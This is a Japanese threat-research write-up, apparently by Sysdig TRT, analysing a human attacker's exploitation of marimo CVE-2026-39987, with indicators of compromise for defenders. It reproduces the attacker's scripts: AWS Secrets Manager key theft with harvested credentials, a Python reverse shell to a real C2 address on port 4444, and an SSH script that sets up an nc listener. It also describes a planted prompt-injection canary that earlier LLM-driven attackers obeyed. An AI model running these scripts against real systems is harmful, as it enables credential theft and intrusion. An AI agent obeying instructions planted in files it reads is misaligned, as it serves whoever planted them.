マシン並みの速度、AIなし——marimo CVE-2026-39987を手作業でエクスプロイト

手作業によるAWS自動化スクリプト

このケース以前にmarimoに対して行われた攻撃はすべて、LLM主導の攻撃者であることを示す明確な痕跡を残していました。彼らは、単一のシェルセッション内で、記憶を頼りにAWSリクエスト署名コードを一行ずつ手入力していました。一方、今回の攻撃者は複数のセッションにわたってboto3チェーンスクリプトを作成・デバッグし、base64エンコードされたPythonファイルとして/tmp/に投下しました。この過程で攻撃者がAIを使用したことを示す証拠は一切見つかっていません。 

セッション後半では、攻撃者は17分間のうちに8種類のユニークなスクリプトを次々と試し、それぞれ同一のパターンでbase64デコードされて/tmp/に配置されていました:echo '<base64-blob>' | base64 -d > /tmp/<name>.py。このbase64ラッピングには2つの目的があります。複数行にまたがるPythonコードの埋め込みによるシェルのクォーティング問題を回避できること、そしてbash_historyに残る行を単一行に圧縮し、ファイルの中身をざっと確認しただけの防御側にスクリプトの内容を悟らせないことです。

以下は、実際に投入された順番で再現したツールキットの全体像です。AWSの認証情報の値は伏せてありますが、それ以外はWebSocketのコマンドストリームからそのまま抜粋しています。

スクリプト1:リージョンフォールバック付きの初期Secrets Manager取得処理

このスクリプトは例外発生時に5つのAWSリージョンを順にフォールバックしていきます。認証情報は環境変数から読み込むのではなくソースコード内にハードコードされており、これは攻撃者がシェルセッションの前半で既に抽出していた認証情報を使って反復的に試行していたことを示しています。

import boto3, json
try:
    client = boto3.client("secretsmanager",
        aws_access_key_id="<AWS_KEY_HARVESTED_FROM_VICTIM>",
        aws_secret_access_key="<AWS_SECRET_HARVESTED_FROM_VICTIM>",
        region_name="us-east-1")
    resp = client.get_secret_value(SecretId="REDACTED")
    val = resp.get("SecretString", "")
if not val:
        val = resp.get("SecretBinary", b"").decode()
    print("SECRET_START")
    print(val)
    print("SECRET_END")
except Exception as e:
    print(f"AWS_ERR:{e}")
    # Try other regions
for region in ["us-west-2", "eu-west-1", "ap-southeast-1", "us-east-2"]:
try:
            c2 = boto3.client("secretsmanager",
                aws_access_key_id="<AWS_KEY_HARVESTED_FROM_VICTIM>",
                aws_secret_access_key="<AWS_SECRET_HARVESTED_FROM_VICTIM>",
                region_name=region)
            r2 = c2.get_secret_value(SecretId="REDACTED")
            val = r2.get("SecretString", "")
if not val:
                val = r2.get("SecretBinary", b"").decode()
            print(f"FOUND_IN_{region}")
            print("SECRET_START")
            print(val)
            print("SECRET_END")
break        except Exception as e2:
            print(f"REGION_{region}:{e2}")

スクリプト2:キー永続化とJSON解析を備えた改良版Secrets Manager取得処理

これが主力となるスクリプトです。取得したキーをモード0600で/tmp/bastion_keyに書き込み、シークレット値を{key: ...}構造または生の文字列レスポンスのいずれにも対応できるようJSONとして解析し、アクセス拒否の場合はsecretsmanager:ListSecretsにフォールバックします。SecretIdの値も2つのスクリプトのバージョン間で変更されており、これは侵害したホストから追加情報を入手した後に、攻撃者がシークレット名を修正したことを示唆しています。

import boto3, json, os, sys
# Use env vars (already set)
# AWS_ACCESS_KEY_ID=<AWS_KEY_HARVESTED_FROM_VICTIM>
# AWS_SECRET_ACCESS_KEY=<AWS_SECRET_HARVESTED_FROM_VICTIM>
# AWS_DEFAULT_REGION=us-east-1client = boto3.client("secretsmanager")
try:
    resp = client.get_secret_value(SecretId="REDACTED")
    secret = resp.get("SecretString", "")
if not secret:
        secret = resp.get("SecretBinary", b"").decode()
    print("SECRET_RETRIEVED")
    print(f"SECRET_LEN:{len(secret)}")
    # Try to parse asJSONtry:
        data = json.loads(secret)
for k, v in data.items():
if"key"in k.lower() or "private"in k.lower():
with open("/tmp/bastion_key", "w") as f:
                    f.write(v)
                os.chmod("/tmp/bastion_key", 0o600)
                print(f"KEY_FIELD:{k}")
                print(f"KEY_HEAD:{v[:60]}")
                print("KEY_SAVED:/tmp/bastion_key")
else:
                print(f"FIELD:{k}={str(v)[:100]}")
    except json.JSONDecodeError:
        # Raw key data
with open("/tmp/bastion_key", "w") as f:
            f.write(secret)
        os.chmod("/tmp/bastion_key", 0o600)
        print(f"RAW_KEY_HEAD:{secret[:60]}")
        print("KEY_SAVED:/tmp/bastion_key")
except Exception as e:
    print(f"AWS_ERR:{e}")
    # Try listing secrets
try:
        secrets = client.list_secrets(MaxResults=20)
for s in secrets.get("SecretList", []):
            print(f"SECRET_LIST:{s['Name']}")
    except Exception as e2:
        print(f"LIST_ERR:{e2}")

スクリプト3:標準ライブラリのみを用いた直接的なリバースシェル

これは標準ライブラリのみ(stdlib-only)で構成されたPythonリバースシェルで、サードパーティのimportやエンコーディングは一切使わず、socket、os.dup2、subprocessだけで構成されています。最初のバージョンにはエラーハンドリングがありませんでしたが、2つ目のバージョンでは、おそらく前回の試行でシェルがハングした経験を踏まえて、try/exceptとs.settimeout(10)が追加されています。

import socket, subprocess, os, sys
try:
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.settimeout(10)
    s.connect(("45.79.187.72", 4444))
    os.dup2(s.fileno(), 0)
    os.dup2(s.fileno(), 1)
    os.dup2(s.fileno(), 2)
    subprocess.call(["/bin/bash", "-i"])
except Exception as e:
    print(f"SHELL_ERR:{e}", file=sys.stderr)

スクリプト4:鍵の種類を判別しながらVPSにSSH接続してリスナーをセットアップ 

このスクリプトはRSAKey、Ed25519Key、ECDSAKeyの順に試行します。攻撃者は踏み台の鍵がどのアルゴリズムを使用しているかを把握していませんでした。SSH接続後、ポート4444で稼働中のncリスナーがあればすべて終了させ、新たにnohup nc -lvp 4444のリスナーを起動し、ss -tlnpでリスナーが正しくバインドされたことを確認します。出力の構造(診断情報はstderr、ステータスフラグRELAY_READYはstdout)は、このツールキット内のすべてのスクリプトで一貫しており、対話的に実行するためではなく、別のスクリプトから呼び出されることを前提としたプログラム的なインターフェースであることが分かります。

#!/usr/bin/env python3
import paramiko, io, time, sys
with open("/tmp/relay_key", "r") as f:
    key_data = f.read()
print(f"KEY_LEN: {len(key_data)}", file=sys.stderr)
print(f"KEY_HEAD: {key_data[:50]}", file=sys.stderr)
# Try loading the key
key = None
for KeyClass in [paramiko.RSAKey, paramiko.Ed25519Key, paramiko.ECDSAKey]:
try:
        key = KeyClass.from_private_key(io.StringIO(key_data))
        print(f"KEY_TYPE: {KeyClass.__name__}", file=sys.stderr)
break    except Exception as e:
        print(f"TRY_{KeyClass.__name__}: {e}", file=sys.stderr)
continueif not key:
    print("FAILED_ALL_KEY_TYPES", file=sys.stderr)
    sys.exit(1)
client = paramiko.SSHClient()
client.set_missing_host_key_policy(paramiko.AutoAddPolicy())
try:
    client.connect("45.79.187.72", username="root", pkey=key, timeout=10)
    print("SSH_CONNECTED", file=sys.stderr)
    # Kill any existing nc on 4444    client.exec_command("pkill -f 'nc.*4444' 2>/dev/null")
    time.sleep(1)
    # Start listener
    client.exec_command("nohup nc -lvp 4444 > /tmp/revshell.log 2>&1 &")
    time.sleep(2)
    # Verify
    _,o,_ = client.exec_command("ss -tlnp | grep 4444")
    verify = o.read().decode().strip()
    print(f"LISTENER: {verify}", file=sys.stderr)
    _,o2,_ = client.exec_command("hostname; id")
    info = o2.read().decode().strip()
    print(f"RELAY_INFO: {info}", file=sys.stderr)
    client.close()
    print("RELAY_READY")
except Exception as e:
    print(f"SSH_ERROR: {e}", file=sys.stderr)

スクリプト5:全チェーン統合版——リスナーのセットアップとリバースシェルの発火

ファイル名と、20:13~20:32 UTCの時間帯に投下された最後のスクリプトという位置づけから判断すると、このスクリプトはスクリプト1から4までのSecrets Manager取得処理、鍵の取り扱い、リバースシェルのロジックを1つのモジュールに統合したもののようです。ただし、コマンドストリームが途中で途切れてしまっているため、importの記述と冒頭のコメントヘッダー以降の内容は捕捉できていません。

import paramiko, io, os, time, sys, socket, subprocess
# Read the b

同一プロバイダーのインフラ

送信元IP(172.236.12.17、ロンドン)とコマンド&コントロール(C2)リスナーの宛先(45.79.187.72、ニュージャージー州シーダーノールズ)は、いずれもLinodeが運営する自律システムであるAS63949 Akamai Connected Cloudに属しています。攻撃者は操作用シェルとコールバックの受け口の両方に同一のVPSプロバイダーを利用していました。これは、低コストで運用する攻撃者が冗長性確保のために同一プロバイダー上で複数のVPSインスタンスを購入する場合によく見られるパターンです。これは有用なクラスタリングの手がかりとなります。送信元IPとC2の両方がAS63949内に存在する他の侵害事例があれば、同一の攻撃者による犯行である可能性が高いためです。

プロンプトインジェクションの罠に対する耐性

Sysdig TRTは、人間の攻撃者とLLM主導のツールを見分けるために、この脆弱なmarimoコンテナ内に自然言語による指示を仕込んでいました。このプローブは、特定のファイルを指示として処理するあらゆるLLMエージェントに対して、隠しマーカーを自らの出力に反映させることで自己申告するよう指示するものです。これまでに報告されたLLM主導の攻撃者は、いずれもこの文脈を読み取り、その後入力したコマンドの中に判で押したようにこのマーカーを反映させていました。

しかし、今回の攻撃者はセッション中に2回別々にこのファイルを確認し、どちらの場合もプローブを目にしているにもかかわらず、一度もマーカーを反映させることはありませんでした。この送信元IPに関連するあらゆるコマンド、ペイロード、クエリフィールドの中に、マーカーが現れることは一度もありませんでした。手作業のペースで進むセッション構成、AWSのリージョンフォールバックロジックに見られる反復的なデバッグの跡、そしてセッションをまたいだ手打ちならではのクォーティングのばらつきと合わせて考えると、これはこの脆弱性に関して私たちが収集した中で最も明確な「非LLMエージェント」の行動的特徴です。

熟練した人間は、回避能力と判断力の面でLLM主導の攻撃者を凌駕します。どちらの脅威も、もう一方より本質的に危険であるとか安全であるとかいうことはありません。重要なのは、一方に対して構築された防御策が、もう一方の行動を見逃してしまう可能性が高いという点です。防御側は両方のタイプの攻撃者に対する防御を並行して強化し続ける必要があります。 

試行された2つのAWS認証情報の経路

攻撃者は、侵害したmarimoインスタンス上の2つの異なる箇所からAWS認証情報を収集していました。

• 認証情報1は、侵害したホスト上の環境変数と認証情報ファイルから収集されました。攻撃者は最初のWebSocket接続の前にこれをCloudTrail上で検証しています。
• 認証情報2は、暗号化された認証情報キーに対するGETルックアップに応じて、アプリケーションのRedisバックエンドから返されたものです。これは最初の認証情報から33分後に検証されました。

最初の認証情報の検証から最初に観測されたターミナル活動まで28時間の間隔があることから、最初の窃取は私たちの可視範囲より前に行われていたことが分かります。攻撃者は、私たちがログを保有しているいずれのターミナルセッションにも出現する前に両方の認証情報を検証しており、その後、両方をboto3チェーンで試していました。この2つの認証情報は異なるIAMユーザーに紐づいており、両方の使用が確認されたことから、最初の認証情報で踏み台のシークレットを取得できなかったため、攻撃者が2つ目の認証情報に切り替えるという反復的な探索プロセスを踏んでいたことが裏付けられます。

人間の手による8秒サイクル

活動開始から3時間目までには、ツールキットはディスク上に配置され、テストも済んでいました。それ以降、攻撃者はWebSocketセッションを再確立できるスピードのまま、チェーン全体を最初から最後まで実行しました。

• 18:57:22:新たなWebSocket接続
• 18:57:26:アプリケーションに保存された認証情報に対するルックアップが、窃取済みのAWSキーを返す
• 18:57:30:踏み台ホストでSSH認証を観測

WebSocketのオープンから踏み台への認証までは8秒で、その間にAWS Secrets Manager APIの呼び出しが収まっていました。攻撃者の手口は、エージェント型のフレームワークではなく、認証情報を取得し、Secrets ManagerからSSHキーを取得し、それをディスクに書き込み、一度の実行でSSH経由で踏み台に認証を行う、バックグラウンドで動く単一のpython3呼び出しに集約されていました。

自分自身のペースで再接続を行った人間が手作業で作り上げたツールが、私たちがこれまで表面化させてきたAI駆動の脅威と同等の運用上の攻撃速度に到達しました。マシン並みの速度という脅威自体は、AIによって初めてもたらされたものではありません。SCARLETEELは2023年初頭の時点で、3分足らずでデータを窃取していました。とはいえAIは攻撃者の参入障壁を確実に引き下げ、マシン並みの速度への到達をはるかに容易にしています。 

AWS EC2 Instance Connect:null値のターゲットに向けて発射された自動化処理

2つのWebSocketセッションの間に、バックグラウンドで動くスクリプトが4件のElastic Compute Cloud(EC2)API呼び出しを立て続けに行っていました。

すべての列挙呼び出しが拒否されました。このスクリプトの狙いはほぼ間違いなく、稼働中のインスタンスを列挙してインスタンスIDを取得し、Secrets Managerによるキーのやり取りを一切介さずに、EC2 Instance Connectを使って攻撃者が管理する公開鍵をパスワード不要のSSH経路として押し込むことだったと考えられます。EC2 Instance Connect経由で鍵をプッシュし、Secrets Managerの段階を飛ばして直接SSHで接続する手法は、より洗練された永続化のテクニックです。

問題は、列挙処理が失敗した場合のエラーハンドリングが不完全だったことです。DescribeInstancesがUnauthorizedOperationを返した際、対象のインスタンスIDを保持するはずの変数には値が入りませんでした。それでもスクリプトは、その変数のデフォルト値のままSendSSHPublicKeyを発行してしまいました。今回の場合、その値はi-0000000000000000という、実際のEC2インスタンスには決して割り当てられることのないプレースホルダーでした。AWSはIAMによる評価に進む前の段階で、不正な形式のインスタンスIDとしてこの呼び出しを拒否しました。

これは自動化処理が特定の形で失敗した事例です。攻撃者は、インスタンスは存在するが鍵のプッシュが拒否されるケース(プッシュ失敗)には対応していたものの、プッシュ先となるインスタンスIDが存在しないケース(列挙失敗)には対応できていませんでした。プレースホルダーへのフォールバックは、初期化されていない、あるいはセンチネル値が設定されたPython変数の存在を示しており、AWSから供給されたIDではないことを物語っています。

ここで2点、注目すべきことがあります。1点目は、EC2 Instance Connectの経路が見た目以上に危険であるということです。もし列挙処理が成功していれば、攻撃者はSecrets Managerに一切触れることなく、そのインスタンスへの直接的なSSH経路を手に入れていたはずです。2点目は、プレースホルダーに対するSendSSHPublicKey呼び出しが、今やこの攻撃者を特定するための実証済みの行動的シグナルとなっているということです。EC2の列挙が拒否された場合でも、彼らはそのままAPI呼び出しを発行してしまいます。3回連続で列挙呼び出しが拒否された後にプレースホルダーに対するSendSSHPublicKeyが続くという、この特有のシーケンスは、列挙結果を検証するガード処理を欠いた自動化スクリプトを見分けるための、精度の高い指紋と言えます。

送信元IP

172.236.12[.]17のLinodeエンドポイントは、使い捨て型のVPSインフラである可能性がほぼ間違いありません。一方、45.79.187[.]72のリスナーはより重要な意味を持ちます。攻撃者がこのホストへのSSH rootアクセスを実際に示していることから、彼らがこのVPSに料金を支払っているか、あるいは盗んだ認証情報を保持しており、少なくとも今回のキャンペーン期間中はこれを使い続けていることが分かるためです。攻撃用シェルと同じVPSプロバイダー上に存在する長期稼働型のインフラは、追跡する価値のあるクラスタリングの手がかりです。

ファイル・パスに関する指標

• base64デコードされたboto3チェーンスクリプト: /tmp/chain.py、/tmp/full_chain.py
• AWS Secrets Managerのレスポンスから書き出されたSSH秘密鍵(モード0600):/tmp/bastion_key
• nohupの出力先: /tmp/chain.log、/tmp/chain_output.txt
• C2ホスト上のnc -lvp 4444の出力先: /tmp/callback.log

行動に関する指標

• echo '<long-base64-blob>' | base64 -d > /tmp/<name>.pyの実行後、数秒以内にnohup python3 /tmp/<name>.py > /tmp/<name>.log 2>&1 &が続くパターン
• boto3.client("secretsmanager")の呼び出しに続いて、例外発生時に["us-west-2", "eu-west-1", "ap-southeast-1", "us-east-2"]という正確な順序でリージョンを反復するパターン
• 既知のSSHクライアントバイナリではないプロセスからのparamiko.SSHClient.connect(<ip>, username="root")呼び出し
• セッション序盤に見られるpip3 install boto3 2>&1 | tail。marimoコンテナにはboto3が標準搭載されていないため、これを知らない攻撃者は最初のAWS呼び出しで失敗することになります

Sysdig TRTによる脅威リサーチの最新情報をご覧ください

続きを読む